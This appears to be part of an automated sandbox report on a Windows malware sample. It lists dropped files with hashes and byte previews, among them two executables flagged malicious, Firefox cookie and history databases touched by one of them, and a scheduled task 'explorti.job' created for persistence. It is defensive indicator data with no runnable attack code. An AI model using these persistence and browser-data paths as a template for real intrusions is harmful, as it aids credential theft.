Preview:	'use strict';function aa(){return function(){}}function l(a){return function(){return this[a]}}var n;function ba(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function da(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=da(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ca(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(f\|\|"")+"_"+e++,f)}function c(f,

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4369)
Category:	dropped
Size (bytes):	103988
Entropy (8bit):	5.389407461078688
Encrypted:	false
SSDEEP:	1536:oXWJmOMsz9UqqRtjWLqj74SJf2VsxJ5BGOzr61SfwKmWGMJOaAFlObQ/x0BGm:yRqr6v3JnVzr6wwfMtkFSYm
MD5:	EA946F110850F17E637B15CF22B82837
SHA1:	8D27C963E76E3D2F5B8634EE66706F95F000FCAF
SHA-256:	029DFE87536E8907A612900B26EEAA72C63EDF28458A7227B295AE6D4E2BD94C
SHA-512:	5E8E61E648740FEF2E89A035A4349B2E4E5E4E88150EE1BDA9D4AD8D75827DC67C1C95A2CA41DF5B89DE8F575714E1A4D23BDE2DC3CF21D55DB3A39907B8F820
Malicious:	false
Preview:	'use strict';function k(){return function(){}}function n(a){return function(){return this[a]}}var q;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function da(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var r=da(this);function t(a,b){if(b)a:{var c=r;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}}.t("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(f\|\|"")+"_"+e++,f)}function c(f,g

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\e931a81a-b83d-42d1-bda5-1d088f67d910.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135751
Entropy (8bit):	7.804610863392373
Encrypted:	false
SSDEEP:	1536:h+OX7O5AeBWdSq2Zso2iDNjF3dNUPOTy61NVo8OJXhQXXUWFMOiiBIHWI7YyjM/8:pVdSj9hjVn6Oj5fOJR+k0iiW2IPMaIul
MD5:	83EF25FBEE6866A64F09323BFE1536E0
SHA1:	24E8BD033CD15E3CF4F4FF4C8123E1868544AC65
SHA-256:	F421D74829F2923FD9E5A06153E4E42DB011824C33475E564B17091598996E6F
SHA-512:	C699D1C9649977731EEA0CB4740C4BEAACEEC82AECC43F9F2B1E5625C487C0BC45FA08A1152A35EFBDB3DB73B8AF3625206315D1F9645A24E1969316F9F5B38C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[..........1...c@e.J.~..A...(9=...I.N.e..T......6.7...Kk?....]<.S(.....9}........$..6...:...9..b\|B..8..I..7.8K\.KIn7.:.!^;.H........8.....,.\....b..uC...e?..E.U.........P..G..u!+......C.)Kw...............4..Qye..=$..Q.......?Oi.,O.RW6.k.+.&. .wu..tf....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E. ..r.....p..~..3.1.vD.i.]...~...!...<..4KV.~y.).`........>E.NT.%1".%............o.....J._.H.B..w..C......UU.&C..fB&..\|..i..J......I.??^.Z.....Y....0^......?...o.....O.~......W.....~.......R..z.Ma...u]....-.n....2s<....E..6.<..W.H.qh....:j.y...N.D.]Nj....../..a...{....g.....f).~._....1q..L..#.G...Q.w...J."

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1829533389\79c41a86-b9c8-4c0d-af72-2718544137a7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1829533389\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1829533389\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1829533389\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1829533389\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1771008
Entropy (8bit):	7.942401968532579
Encrypted:	false
SSDEEP:	49152:JfvwDkhoI7r1lAOv4gNKuP8xy7Ir4maBVSI5:JfoDglvwS8x2IrKC
MD5:	3D7BB337FEC6E0587CB2AC31BBD4780A
SHA1:	3C0DC6EB3A68DE74C53EC41C83ABF386C060B134
SHA-256:	4410CA8B0BB2EC305F4AFFF8DDB215B9ABF29475C37CCB54C725A87EEC23E582
SHA-512:	80D099760185F8AF5FEE093782BEE7559675733873559629391ADBB91ADF4CFF60A1776624F183FDB7A550710EEBEDDDD0C7E35AB9F7EF6BD6C851495E500600
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b...............u^......uk......u_......{v.....fz.......{f..............uZ......uh.....Rich............PE..L...M..f.....................B"......0g...........@..........................`g......O....@.................................P.#.d.............................#..................................................................................... . ..#......<..................@....rsrc ......#......L..............@....idata ......#......L..............@... ..)...$......N..............@...ylafldxq......M......P..............@...tgmwlthu..... g.....................@....taggant.0...0g.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1771008
Entropy (8bit):	7.942401968532579
Encrypted:	false
SSDEEP:	49152:JfvwDkhoI7r1lAOv4gNKuP8xy7Ir4maBVSI5:JfoDglvwS8x2IrKC
MD5:	3D7BB337FEC6E0587CB2AC31BBD4780A
SHA1:	3C0DC6EB3A68DE74C53EC41C83ABF386C060B134
SHA-256:	4410CA8B0BB2EC305F4AFFF8DDB215B9ABF29475C37CCB54C725A87EEC23E582
SHA-512:	80D099760185F8AF5FEE093782BEE7559675733873559629391ADBB91ADF4CFF60A1776624F183FDB7A550710EEBEDDDD0C7E35AB9F7EF6BD6C851495E500600
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b...............u^......uk......u_......{v.....fz.......{f..............uZ......uh.....Rich............PE..L...M..f.....................B"......0g...........@..........................`g......O....@.................................P.#.d.............................#..................................................................................... . ..#......<..................@....rsrc ......#......L..............@....idata ......#......L..............@... ..)...$......N..............@...ylafldxq......M......P..............@...tgmwlthu..... g.....................@....taggant.0...0g.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\875a60a09683c344.customDestinations-ms (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	3888
Entropy (8bit):	3.520048045745188
Encrypted:	false
SSDEEP:	48:HoEnJ6dO+UysJrrBzBdLXuH1kDpBo2AFTGdO+tiysJrrBzngdLXuH1k+21:Hr3uVkDr1kacnIuVkz
MD5:	4A79990532A208DD0DCC757EDBCF4861
SHA1:	C4D4598224A1EED4EC3F02ABF2A39E54ED775916
SHA-256:	BA9265A1BCFFBC310AE816E7D0B3EECEF2333B347DCEC0AA7CEB841CA63B4557
SHA-512:	DBDF33C8B8B2076A07CA0EF2E41B8C866CFEBCB5FBD366F9DB89F007779EFC1ECB7BDF693A08668F5EA654C5F2A99826D2C80FFDA1BF46090E4DADBF749AA31A
Malicious:	false
Preview:	...................................FL..................F.@.. .....\|.K....jzV.....?......(>@.....................1....P.O. .:i.....+00.../C:\.....................1.....DWP`..PROGRA~2.........O.IDWP`....................V......P..P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....\.1.....DWO`..MICROS~1..D......(Ux.!Y(...............................M.i.c.r.o.s.o.f.t.....N.1.....CWaa0.Edge..:.......S8.DW;`...........................s..E.d.g.e.....`.1.....CWaa0.APPLIC~1..H.......S8.!Y(...............................A.p.p.l.i.c.a.t.i.o.n.....`.2.(>@.=W2b .msedge.exe..F.......S8.!Y(.....u.......................q.m.s.e.d.g.e...e.x.e.......k...............-.......j..........."..t.....C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe..<.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.........%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe...............................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HFX9MDF7057M2ABSIGCL.temp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	3888
Entropy (8bit):	3.5190398342797367
Encrypted:	false
SSDEEP:	48:HoEFTGdO+tiysJrrBzBdLXuH1kDpBo2AFTGdO+tiysJrrBzngdLXuH1k+21:HXac3uVkDr1kacnIuVkz
MD5:	951563A7C3CE664199798417242F5413
SHA1:	D3F4974ACFD3E59CBE09E5C81403EA40B08658FA
SHA-256:	8953A484180B2AF5C0514D93CC2F5784266F6B79BAE6F7542B9C859D8EFF8635
SHA-512:	5A9AF13584B6135DA724593DE00DA0A65A1B0C6E61ED32DEE119383D4FCEEE1E1B19EA3113F702BF02C996002F4CE59E2D59C40A5D3E9B6BE100CB25E8998335
Malicious:	false
Preview:	...................................FL..................F.@.. .....\|.K....jzV.....?......(>@.....................1....P.O. .:i.....+00.../C:\.....................1.....!Y....PROGRA~2.........O.I!Y......................V.........P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....\.1.....DWO`..MICROS~1..D......(Ux.!Y(...............................M.i.c.r.o.s.o.f.t.....N.1.....CWaa0.Edge..:.......S8.!Y+............................s..E.d.g.e.....`.1.....CWaa0.APPLIC~1..H.......S8.!Y(...............................A.p.p.l.i.c.a.t.i.o.n.....`.2.(>@.=W2b .msedge.exe..F.......S8.!Y(.....u.......................q.m.s.e.d.g.e...e.x.e.......k...............-.......j..........."..t.....C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe..<.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.........%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe...............................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MPR6GBBFJI4ST955S5LY.temp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	3888
Entropy (8bit):	3.520048045745188
Encrypted:	false
SSDEEP:	48:HoEnJ6dO+UysJrrBzBdLXuH1kDpBo2AFTGdO+tiysJrrBzngdLXuH1k+21:Hr3uVkDr1kacnIuVkz
MD5:	4A79990532A208DD0DCC757EDBCF4861
SHA1:	C4D4598224A1EED4EC3F02ABF2A39E54ED775916
SHA-256:	BA9265A1BCFFBC310AE816E7D0B3EECEF2333B347DCEC0AA7CEB841CA63B4557
SHA-512:	DBDF33C8B8B2076A07CA0EF2E41B8C866CFEBCB5FBD366F9DB89F007779EFC1ECB7BDF693A08668F5EA654C5F2A99826D2C80FFDA1BF46090E4DADBF749AA31A
Malicious:	false
Preview:	...................................FL..................F.@.. .....\|.K....jzV.....?......(>@.....................1....P.O. .:i.....+00.../C:\.....................1.....DWP`..PROGRA~2.........O.IDWP`....................V......P..P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....\.1.....DWO`..MICROS~1..D......(Ux.!Y(...............................M.i.c.r.o.s.o.f.t.....N.1.....CWaa0.Edge..:.......S8.DW;`...........................s..E.d.g.e.....`.1.....CWaa0.APPLIC~1..H.......S8.!Y(...............................A.p.p.l.i.c.a.t.i.o.n.....`.2.(>@.=W2b .msedge.exe..F.......S8.!Y(.....u.......................q.m.s.e.d.g.e...e.x.e.......k...............-.......j..........."..t.....C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe..<.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.........%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe...............................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	3888
Entropy (8bit):	3.5190398342797367
Encrypted:	false
SSDEEP:	48:HoEFTGdO+tiysJrrBzBdLXuH1kDpBo2AFTGdO+tiysJrrBzngdLXuH1k+21:HXac3uVkDr1kacnIuVkz
MD5:	951563A7C3CE664199798417242F5413
SHA1:	D3F4974ACFD3E59CBE09E5C81403EA40B08658FA
SHA-256:	8953A484180B2AF5C0514D93CC2F5784266F6B79BAE6F7542B9C859D8EFF8635
SHA-512:	5A9AF13584B6135DA724593DE00DA0A65A1B0C6E61ED32DEE119383D4FCEEE1E1B19EA3113F702BF02C996002F4CE59E2D59C40A5D3E9B6BE100CB25E8998335
Malicious:	false
Preview:	...................................FL..................F.@.. .....\|.K....jzV.....?......(>@.....................1....P.O. .:i.....+00.../C:\.....................1.....!Y....PROGRA~2.........O.I!Y......................V.........P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....\.1.....DWO`..MICROS~1..D......(Ux.!Y(...............................M.i.c.r.o.s.o.f.t.....N.1.....CWaa0.Edge..:.......S8.!Y+............................s..E.d.g.e.....`.1.....CWaa0.APPLIC~1..H.......S8.!Y(...............................A.p.p.l.i.c.a.t.i.o.n.....`.2.(>@.=W2b .msedge.exe..F.......S8.!Y(.....u.......................q.m.s.e.d.g.e...e.x.e.......k...............-.......j..........."..t.....C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe..<.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.........%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe...............................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\explorti.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.4082926072291495
Encrypted:	false
